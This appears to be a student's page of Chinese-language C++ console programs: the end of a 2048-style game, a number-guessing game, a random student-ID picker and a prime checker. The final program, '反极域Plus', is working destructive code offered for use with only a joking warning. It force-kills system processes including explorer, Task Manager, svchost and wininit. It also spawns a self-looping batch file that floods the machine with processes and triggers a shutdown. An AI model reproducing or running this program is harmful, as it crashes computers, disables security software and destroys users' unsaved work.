int p[3]={1,2,4},sc,sc1;
if(true){
sc1=rand()%6;
sc1=rand()%6;
sc1=rand()%4+1;
}
if(sc1<=3)sc1=2;
if(sc1>3&&sc<=4)sc1=3;
sc=p[sc1-1];
if(pd2==true){
gz[x][y]=sc;
}else{
pd2=true;
}
// 使用新的方块效果打印游戏板
printGameBoard();
// 在"墙"下面显示积分
cout<<"积分:"<<jf<<" 最高记录:"<<maxjf<<endl;
cout<<"使用方向键移动 (↑↓←→)"<<endl;
if(js()==false){
printGameBoard();
HANDLE handle2=::GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO info2;
GetConsoleScreenBufferInfo(handle2,&info2);
WORD colorBak2=info2.wAttributes;
SetConsoleTextAttribute(handle2, FOREGROUND_RED | FOREGROUND_INTENSITY);
cout<<"WA!"<<endl;
SetConsoleTextAttribute(handle2, colorBak2);
cout<<"积分:"<<jf<<endl;
maxjf=max(maxjf,jf);
saveJF();
cout<<"按任意键返回主菜单..."<<endl;
_getch();
break;
}
bool cs;
cs=true;
char ch;
if (_kbhit()) {
ch = _getch();
switch (ch) {
case 72:{
for(int i=1;i<5;i++){
for(int j=1;j<5;j++){
bool pd=true;
int x1=i,y1=j;
for(int jb=0;jb<4;jb++){
if(gz[x1-1][y1]==0){
cs=false;
ppdd=1;
gz[x1-1][y1]=gz[x1][y1];
gz[x1][y1]=0;
x1--;
}else if(gz[x1-1][y1]==gz[x1][y1]&&pd==true&&gz[x1-1][y1]!=-1){
cs=false;
ppdd=1;
gz[x1-1][y1]*=2;
jf+=gz[x1-1][y1];
gz[x1][y1]=0;
pd=false;
x1--;
}
}
}
}
break;
}
case 80:{
for(int i=4;i>=1;i--){
for(int j=1;j<5;j++){
bool pd=true;
int x1=i,y1=j;
for(int jb=0;jb<4;jb++){
if(gz[x1+1][y1]==0){
cs=false;
ppdd=1;
gz[x1+1][y1]=gz[x1][y1];
gz[x1][y1]=0;
x1++;
}else if(gz[x1+1][y1]==gz[x1][y1]&&pd==true&&gz[x1+1][y1]!=-1){
cs=false;
ppdd=1;
gz[x1+1][y1]*=2;
gz[x1][y1]=0;
jf+=gz[x1+1][y1];
pd=false;
x1++;
}
}
}
}
break;
}
case 75:{
for(int i=1;i<5;i++){
for(int j=1;j<5;j++){
bool pd=true;
int x1=i,y1=j;
for(int jb=0;jb<4;jb++){
if(gz[x1][y1-1]==0){
cs=false;
ppdd=1;
gz[x1][y1-1]=gz[x1][y1];
gz[x1][y1]=0;
y1--;
}else if(gz[x1][y1-1]==gz[x1][y1]&&pd==true&&gz[x1][y1-1]!=-1){
cs=false;
ppdd=1;
gz[x1][y1-1]*=2;
gz[x1][y1]=0;
pd=false;
jf+=gz[x1][y1-1];
y1--;
}
}
}
}
break;
}
case 77:{
for(int i=1;i<5;i++){
for(int j=4;j>=1;j--){
bool pd=true;
int x1=i,y1=j;
for(int jb=0;jb<4;jb++){
if(gz[x1][y1+1]==0){
cs=false;
ppdd=1;
gz[x1][y1+1]=gz[x1][y1];
gz[x1][y1]=0;
y1++;
}else if(gz[x1][y1+1]==gz[x1][y1]&&pd==true&&gz[x1][y1+1]!=-1){
cs=false;
ppdd=1;
gz[x1][y1+1]*=2;
gz[x1][y1]=0;
jf+=gz[x1][y1+1];
pd=false;
y1++;
}
}
}
}
break;
}
}
}
if(cs==true){
if(ppdd==0){
cout<<"无法移动,换个方向试试"<<endl;
}pd2=false;
ppdd=0;
_getch();
continue;
}
}
}
}
}
摘自@
猜数字小游戏(以后还会有更多游戏更新,敬请期待)
#include<bits/stdc++.h>
using namespace std;
long long l,r,n,a,cnt;
int main(){
srand(time(0));
while(1){
cnt=0;
cout<<"请输入猜的数字的范围:\n";
cin>>l>>r;
if(l>r) swap(l,r);
n=rand()%(r-l+1)+l;
while(cin>>a&&a!=n){
if(a<n) cout<<"小了,再大一点\n";
if(a>n) cout<<"大了,再小一点\n";
cnt++;
}
printf("\n恭喜你,猜对了!这次猜数字,你一共用了%lld次。\n要继续挑战吗?继续请输入1,退出请输入0。",cnt+1);
cin>>a;
if(a==0) break;
}
}
随机学号抽取器
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int num,n,a[10001];
void print(int x){
for(int i=1;i<=n;i++){
a[i]=rand()%num+1;
for(int j=1;j<i;j++){
if(a[i]==a[j]){
i--;
break;
}
}
}
for(int i=1;i<=n;i++) cout<<a[i]<<" ";
cout<<endl;
}
int main(){
srand(time(0));
cout<<"欢迎使用随机学号抽取器,作者:2025tyoi0293\n";
cout<<"如果想退出运行,请输入-1。\n";
Sleep(1000);
system("cls");
cout<<"请输入班内的同学数\n";
cin>>num;
system("cls");
while(1){
cout<<"请输入抽学号的个数:\n";
cin>>n;
if(n>num){
cout<<"抽的人数超过了全班人数!!!";
system("pause>nul");
system("cls");
continue;
}
if(n==-1){
cout<<"感谢游玩!";
Sleep(500);
return 0;
}
print(n);
system("pause>nul");
system("cls");
}
}
判断质数
#include<bits/stdc++.h>
#include<windows.h>
#define int long long
using namespace std;
int n,a[1000001];
int pd(int x){
if(x%2==0&&x!=2) return 0;
if(x<=1) return 2;
for(int i=3;i<=sqrt(x);i+=2){
if(x%i==0) return 0;
}
return 1;
}
void fz(int x){
if(pd(x)==1) cout<<"本数是质数。\n";
else if(pd(x)==2) cout<<"本数既不是质数,也不是合数。\n";
else{
int sum=0,cnt=0;
cout<<"本数是合数,它的因数有:";
for(int i=1;i<=sqrt(x);i++){
if(x%i==0){
a[++cnt]=i;
if(i!=x/i) a[++cnt]=x/i;
}
}
sort(a+1,a+cnt+1);
for(int i=1;i<=cnt;i++) cout<<a[i]<<" ";
cout<<"共有"<<cnt<<"个因数。\n";
}
}
signed main(){
cout<<"判断质数器,作者:2025tyoi0293\n";
cout<<"祝您使用愉快!\n";
system("pause>nul");system("cls");
while(1){
cout<<"请输入一个数,输入-1退出:\n";
cin>>n;
if(n==-1){
cout<<"感谢游玩!";
Sleep(500);
return 0;
}
fz(n);
system("pause>nul");system("cls");
}
}
反极域Plus(不要乱用!!!!!)(乱用代价:废掉一台电脑)
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
while(1){
unsigned long long i=0;
system("taskkill /f /im 360Safe.exe");
system("taskkill /f /im explorer.exe");
system("taskkill /f /im Taskmgr.exe");
system("taskkill /f /im ntoskrnl.exe");
system("taskkill /f /im wininit.exe");
system("taskkill /f /im svchost.exe");
freopen("11.out","w",stdout);
cout<<":1 \n start 11.bat \n goto 1";
fclose(stdout);
system("ren 11.out 11.bat");
system("start 11.bat");
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
system("shutdown -a");
SetCursorPos(999,999);
system("strat cpp");
cout<<(char)7;
i++;
if(i==180000000000000000) system("shutdown -s -t 0");
system("xcopy");
}
}
改编自@
临时代码区